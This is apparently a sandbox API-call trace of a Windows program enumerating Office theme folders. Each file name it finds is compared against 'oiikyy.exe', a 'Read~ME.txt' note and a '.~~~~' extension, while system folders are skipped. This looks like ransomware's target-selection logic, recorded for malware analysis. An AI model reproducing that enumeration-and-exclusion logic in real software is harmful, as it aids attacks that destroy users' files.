	[0078.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.172] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.172] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.172] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.172] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.172] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.172] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.172] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.172] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.172] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.172] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.172] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.172] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.172] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1
	[0078.172] lstrcmpiW (lpString1="ICE.ELM", lpString2="Windows") returned -1
	[0078.172] lstrcmpW (lpString1="ICE.ELM", lpString2="oiikyy.exe") returned -1
	[0078.172] StrStrW (lpFirst="ICE.ELM", lpSrch=".~~~~") returned 0x0
	[0078.172] lstrcmpW (lpString1="ICE.ELM", lpString2="Read~ME.txt") returned -1
	[0078.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8be8
	[0078.173] GetCurrentThreadId () returned 0x618
	[0078.173] RtlWakeConditionVariable () returned 0x365f48
	[0078.173] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1
	[0078.173] lstrcmpiW (lpString1="ICE.INF", lpString2="Windows") returned -1
	[0078.173] lstrcmpW (lpString1="ICE.INF", lpString2="oiikyy.exe") returned -1
	[0078.173] StrStrW (lpFirst="ICE.INF", lpSrch=".~~~~") returned 0x0
	[0078.173] lstrcmpW (lpString1="ICE.INF", lpString2="Read~ME.txt") returned -1
	[0078.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8be8
	[0078.173] GetCurrentThreadId () returned 0x618
	[0078.173] RtlWakeConditionVariable () returned 0x365f48
	[0078.173] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.173] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.173] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.173] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.173] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0078.173] GetCurrentThreadId () returned 0x618
	[0078.173] RtlWakeConditionVariable () returned 0x365f48
	[0078.173] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.173] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.173] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.174] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.174] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0078.174] GetCurrentThreadId () returned 0x618
	[0078.174] RtlWakeConditionVariable () returned 0x365f48
	[0078.174] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.174] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0078.174] GetCurrentThreadId () returned 0x618
	[0078.174] RtlWakeConditionVariable () returned 0x365f48
	[0078.176] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0078.176] lstrcmpiW (lpString1="INDUST", lpString2="Windows") returned -1
	[0078.176] lstrcmpW (lpString1="INDUST", lpString2=".") returned 1
	[0078.176] lstrcmpW (lpString1="INDUST", lpString2="..") returned 1
	[0078.176] lstrcmpW (lpString1="INDUST", lpString2="AppData") returned 1
	[0078.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST", lpSrch="AppData") returned 0x0
	[0078.176] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.176] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST", lpString2="C:\\Windows") returned -1
	[0078.176] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.176] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST", lpString2="C:\\System Volume Information") returned -1
	[0078.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.185] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.185] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.185] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.186] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.186] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.186] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.186] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.186] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.186] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.186] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.186] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.186] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.186] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1
	[0078.186] lstrcmpiW (lpString1="INDUST.ELM", lpString2="Windows") returned -1
	[0078.186] lstrcmpW (lpString1="INDUST.ELM", lpString2="oiikyy.exe") returned -1
	[0078.186] StrStrW (lpFirst="INDUST.ELM", lpSrch=".~~~~") returned 0x0
	[0078.186] lstrcmpW (lpString1="INDUST.ELM", lpString2="Read~ME.txt") returned -1
	[0078.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.186] GetCurrentThreadId () returned 0x618
	[0078.186] RtlWakeConditionVariable () returned 0x365f48
	[0078.186] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1
	[0078.186] lstrcmpiW (lpString1="INDUST.INF", lpString2="Windows") returned -1
	[0078.186] lstrcmpW (lpString1="INDUST.INF", lpString2="oiikyy.exe") returned -1
	[0078.186] StrStrW (lpFirst="INDUST.INF", lpSrch=".~~~~") returned 0x0
	[0078.186] lstrcmpW (lpString1="INDUST.INF", lpString2="Read~ME.txt") returned -1
	[0078.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.187] GetCurrentThreadId () returned 0x618
	[0078.187] RtlWakeConditionVariable () returned 0x365f48
	[0078.187] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.187] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.187] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.187] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.187] GetCurrentThreadId () returned 0x618
	[0078.187] RtlWakeConditionVariable () returned 0x365f48
	[0078.187] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.187] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.187] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.187] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.187] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.187] GetCurrentThreadId () returned 0x618
	[0078.187] RtlWakeConditionVariable () returned 0x365f48
	[0078.187] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.187] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.188] GetCurrentThreadId () returned 0x618
	[0078.188] RtlWakeConditionVariable () returned 0x365f48
	[0078.188] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0078.188] lstrcmpiW (lpString1="IRIS", lpString2="Windows") returned -1
	[0078.188] lstrcmpW (lpString1="IRIS", lpString2=".") returned 1
	[0078.188] lstrcmpW (lpString1="IRIS", lpString2="..") returned 1
	[0078.188] lstrcmpW (lpString1="IRIS", lpString2="AppData") returned 1
	[0078.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS", lpSrch="AppData") returned 0x0
	[0078.188] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.188] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS", lpString2="C:\\Windows") returned -1
	[0078.188] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.188] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS", lpString2="C:\\System Volume Information") returned -1
	[0078.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.189] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.189] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.189] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.189] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.189] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.189] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.189] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.189] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.189] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.189] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.189] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.189] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.189] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1
	[0078.189] lstrcmpiW (lpString1="IRIS.ELM", lpString2="Windows") returned -1
	[0078.189] lstrcmpW (lpString1="IRIS.ELM", lpString2="oiikyy.exe") returned -1
	[0078.189] StrStrW (lpFirst="IRIS.ELM", lpSrch=".~~~~") returned 0x0
	[0078.189] lstrcmpW (lpString1="IRIS.ELM", lpString2="Read~ME.txt") returned -1
	[0078.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.189] GetCurrentThreadId () returned 0x618
	[0078.189] RtlWakeConditionVariable () returned 0x365f48
	[0078.189] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1
	[0078.189] lstrcmpiW (lpString1="IRIS.INF", lpString2="Windows") returned -1
	[0078.189] lstrcmpW (lpString1="IRIS.INF", lpString2="oiikyy.exe") returned -1
	[0078.189] StrStrW (lpFirst="IRIS.INF", lpSrch=".~~~~") returned 0x0
	[0078.190] lstrcmpW (lpString1="IRIS.INF", lpString2="Read~ME.txt") returned -1
	[0078.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.190] GetCurrentThreadId () returned 0x618
	[0078.190] RtlWakeConditionVariable () returned 0x365f48
	[0078.190] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.190] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.190] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.190] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.190] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.190] GetCurrentThreadId () returned 0x618
	[0078.190] RtlWakeConditionVariable () returned 0x365f48
	[0078.190] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.190] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.190] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.190] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.190] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.190] GetCurrentThreadId () returned 0x618
	[0078.190] RtlWakeConditionVariable () returned 0x365f48
	[0078.190] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.190] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.191] GetCurrentThreadId () returned 0x618
	[0078.191] RtlWakeConditionVariable () returned 0x365f48
	[0078.191] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0078.191] lstrcmpiW (lpString1="JOURNAL", lpString2="Windows") returned -1
	[0078.191] lstrcmpW (lpString1="JOURNAL", lpString2=".") returned 1
	[0078.191] lstrcmpW (lpString1="JOURNAL", lpString2="..") returned 1
	[0078.191] lstrcmpW (lpString1="JOURNAL", lpString2="AppData") returned 1
	[0078.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL", lpSrch="AppData") returned 0x0
	[0078.191] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.191] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL", lpString2="C:\\Windows") returned -1
	[0078.191] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.191] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL", lpString2="C:\\System Volume Information") returned -1
	[0078.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.314] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.314] lstrcmpW (lpString1=".", lpString2=".") returned 0
